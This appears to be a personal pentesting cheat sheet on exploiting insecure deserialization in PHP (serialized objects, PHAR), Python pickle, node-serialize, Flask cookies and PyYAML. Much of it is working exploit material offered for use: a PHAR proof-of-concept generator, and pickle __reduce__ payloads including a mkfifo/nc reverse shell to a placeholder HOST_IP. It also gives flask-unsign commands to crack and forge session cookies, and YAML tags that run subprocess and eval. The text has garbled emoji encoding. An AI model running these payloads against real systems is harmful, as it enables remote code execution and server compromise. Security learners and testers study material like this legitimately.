Insecure Deserialization
Insecure Deserialization is a vulnerability that occurs when the deserialization process can be exploited to run malicious code.
SerializedVariable Deserialization β PHP
The serialize function can be used to convert an object to a serialized string that can be loaded back using unserialize.
If the serialized data is user-controlled, we may be able to:
- π Invoke defined methods using autoloading (e.g. not arbitrary)
- π« Spoof the data to exploit the application (e.g. auth-bypass)
For this vulnerability to be exploited, we need to find a vulnerable class that can be leveraged for another attack or a RCE. We can find such classes easily if we identify a framework version in use.
SerializedVariable β Data Manipulation
We may be able to bypass some checks or set some attributes.
$serialized = serialize(['user'=>'guest', 'is_admin'=>false]);
// a:2:{s:4:"user";s:5:"guest";s:8:"is_admin";b:0;}
$data = unserialize('a:2:{s:4:"user";s:5:"guest";s:8:"is_admin";b:1;}');
// ['user'=>'guest', 'is_admin'=>true]
This can be further exploited if there are some logic flaws.
SerializedVariable β Brute force
If we don't know which class we can exploit, we cannot do much. If errors are displayed when the deserialization failed, we can try fuzzing.
If the payload returns PHP_Incomplete_Class
, the class doesn't exist.
payload="Toto"; print(f'O:{len(payload)}:"{payload}":0:{{}}')
# The output is: O:4:"Toto":0:{}
The next error message should indicate which method the code tried to call on the class. Once you found a valid class, try to determine the attributes by changing their values and checking the output.
attribute = "tata"; f'O:4:"Toto":1:{{s:{len(attribute)}:"{attribute}";s:3:"abc";}}'
# The output is: 'O:4:"Toto":1:{s:4:"tata";s:3:"abc";}'
Once you found all of them, try exploiting the class.
SerializedVariable β Program Flow Manipulation
When unserializing an object, the method __wakeup
is automatically called. This method may contain code that may be further exploited.
While we cannot inject code directly, we may be able to create a suite of successive method calls, referred to as a gadget chain π€. It may eventually lead to a RCE. Refer to phpggc (3.2k β).
class Foo {}
class Bar
{
public function __wakeup() {
echo $this; // invoke __toString
}
public function __toString() {
return "Bar.__toString";
}
// will be called when destroyed
public function __destruct() { echo "Bar.__destruct"; }
}
$x = new Foo();
$x->attr = new Bar(); // who cares 'attr' doesn't exist
unserialize(serialize($x)); // __wakeup will still be called
PHAR Deserialization β PHP
This vulnerability is at least present in PHP 5.6-7.4, but not in PHP 8.0+. This vulnerability leverages a SerializedVariable Deserialization, so we need to have a vulnerable class within the code.
Many functions, including functions that don't execute PHP code such as file_get_contents
, fopen
, file_exists
, etc. are vulnerable.
$ php7.0 --define phar.readonly=0 create_phar.php
$ php7.0 vuln.php
vuln.php
<?php
class Foo {}
class Bar
{
public function __wakeup() {
echo $this; // invoke __toString
}
public function __toString() {
return "Bar.__toString";
}
// will be called when destroyed
public function __destruct() { echo "Bar.__destruct"; }
}
# Example
echo file_get_contents("phar://poc.phar/dummy.txt");
create_phar.php
<?php
class Foo {}
class Bar
{
public function __wakeup() {
echo $this; // invoke __toString
}
public function __toString() {
return "Bar.__toString";
}
// will be called when destroyed
public function __destruct() { echo "Bar.__destruct"; }
}
$x = new Foo();
$x->attr = new Bar(); // who cares 'attr' doesn't exist
// create new Phar
$phar = new Phar('poc.phar');
$phar->startBuffering();
$phar->addFromString('dummy.txt', 'Done?');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$phar->setMetadata($x); // try a serizalized object here, from a custom class
$phar->stopBuffering();
Pickle Deserialization β Python
The python pickle module can be used for object serialization, while it's explicitly stated that it shouldn't be used with untrusted input.
You can either use __reduce__
or use a function following checkoway article, the latter being sightly more complex.
class Exploit(object):
def __reduce__(self):
# write your code here
To test your exploit
payload = pickle.dumps(Exploit())
pickle.loads(payload)
# base64.urlsafe_b64encode(payload)
You may alternatively use pickle bytecode:
- Pickora (0.1k β, 2023 πͺ¦)
- pickleassem (0.02k β, 2021 πͺ¦)
A few code samples, refer to payloads:
import os
return (os.system, ("echo 'Hello, World!'",))
import os # doesn't work with pickle.dumps
raise Exception(os.popen("whoami;id;pwd;ls -1a").read())
import os # sudo tcpdump -i tun0 icmp
return (os.system, ("ping -c 1 HOST_IP",))
import os
return (os.system, ("rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1 | nc HOST_IP PORT > /tmp/f",))
node-serialize Deserialization β Python
The node-serialize (0.1k β, 2017 πͺ¦) library is an unofficial unmaintained library that has multiple vulnerabilities.
Data should be the only thing serialized, but this library can serialize functions, which with untrusted input, leads to RCE.
The official vulnerability is CVE-2017-5941.
const serialize = require('node-serialize')
const payload = {
"poc": function () {
// payload here
}
}
For payloads, refer to Node.js payloads.
// Serialize - but not executable yet
const serialized = serialize.serialize(payload);
// Immediately invoked function expression (IIFE) Patch
const serializedJson = JSON.parse(serialized)
for (const key in serializedJson) {
if (serializedJson[key].includes("$$ND_FUNC$$")) {
serializedJson[key] = serializedJson[key] + "()"
}
}
// Serialize Again
const iife_serialized = JSON.stringify(serializedJson)
To execute the code:
serialize.unserialize(iife_serialized)
Example CVEs
CVE-2021-33026 (Flask/Python)
An insure deserialization in Flask (Python) allowed a hacker to craft a malicious cookie with a command inside. When the cookie was deserialized, the command was executed by the server.
- Cookies can be read without the secret key
- Cookies can be forged with the secret key
- kirsle flask cookie reader (Website)
- See also: flask-session-manager (0.6k β) or Flask Unsign (0.5k β)
$ pip3 install flask-unsign[wordlist]
$ sudo ln -s /home/<xxx>/.local/bin/flask-unsign /usr/bin/flask-unsign
$ flask-unsign --decode --cookie 'cookie' # decode
$ flask-unsign --unsign --cookie 'cookie' # find key
$ flask-unsign --sign --cookie '' --secret 'dev' # encode
Yaml Deserialization - PyYAML
PyYAML version 6 and below instanciated by default an insecure parser which could be exploited to run python code.
xxx: !!python/object/apply:time.sleep [2]
The xxx:
is only necessary if a specific element (e.g., xxx) is rendered.
!!python/object/apply:builtins.range [1,10,1]
!!python/object/apply:subprocess.Popen ["ls"]
!!python/object/apply:subprocess.check_output [['ls', '-la']]
!!python/object/apply:builtins.eval [ "5" ]
!!python/object/apply:builtins.eval [ "__import__('subprocess') or 'error'" ]
!!python/object/apply:builtins.eval [ "__import__('subprocess').check_output(['ls', '-l']).decode('utf-8') or 'error'" ]
β‘οΈ See also: python-deserialization-payload-generator (0.1k β).
π» To-do π»
Stuff that I found, but never read/used yet.
- ysoserial (Java object deserialization)